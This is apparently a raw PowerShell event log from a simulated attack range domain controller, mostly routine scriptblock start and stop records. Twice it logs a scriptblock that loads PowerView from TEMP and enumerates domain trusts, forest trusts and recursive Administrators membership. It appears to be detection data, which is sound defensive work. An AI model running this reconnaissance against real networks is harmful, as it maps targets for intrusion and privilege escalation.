Message=Completed invocation of ScriptBlock ID: 72d51893-6d0e-4155-b10c-ac291f019b87
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8f461449-4591-4889-b68e-9a9ef79f7349
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e2ecaae-61b9-4523-a786-8277d8a4bd32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479106
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e2ecaae-61b9-4523-a786-8277d8a4bd32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479105
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }
ScriptBlock ID: 9e2ecaae-61b9-4523-a786-8277d8a4bd32
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479104
Keywords=None
Message=Started invocation of ScriptBlock ID: 8f461449-4591-4889-b68e-9a9ef79f7349
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479103
Keywords=None
Message=Started invocation of ScriptBlock ID: 72d51893-6d0e-4155-b10c-ac291f019b87
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479102
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: 72d51893-6d0e-4155-b10c-ac291f019b87
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479101
Keywords=None
Message=Started invocation of ScriptBlock ID: b562d7d2-6d9a-4e2d-a8c0-4241cf339baf
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479100
Keywords=None
Message=Completed invocation of ScriptBlock ID: 519ecd82-864b-41a0-863d-86133c57dc32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479099
Keywords=None
Message=Started invocation of ScriptBlock ID: 519ecd82-864b-41a0-863d-86133c57dc32
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479098
Keywords=None
Message=Started invocation of ScriptBlock ID: 555db5c0-165a-4c5d-89f1-436f144e398f
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479097
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{Import-Module "$env:TEMP\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive}
ScriptBlock ID: 555db5c0-165a-4c5d-89f1-436f144e398f
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479096
Keywords=None
Message=Started invocation of ScriptBlock ID: 72ee6361-ee46-490f-9551-eafa1316ce14
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479095
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {Import-Module "$env:TEMP\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive}
ScriptBlock ID: 72ee6361-ee46-490f-9551-eafa1316ce14
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1479094
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1479093
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 6624 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1479092
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479091
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479090
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479089
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479088
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479087
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479084
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479082
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479081
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479078
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479077
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479076
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479075
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479073
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479070
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479068
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479067
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479064
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479063
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479062
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479061
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479059
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479058
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479057
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479055
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
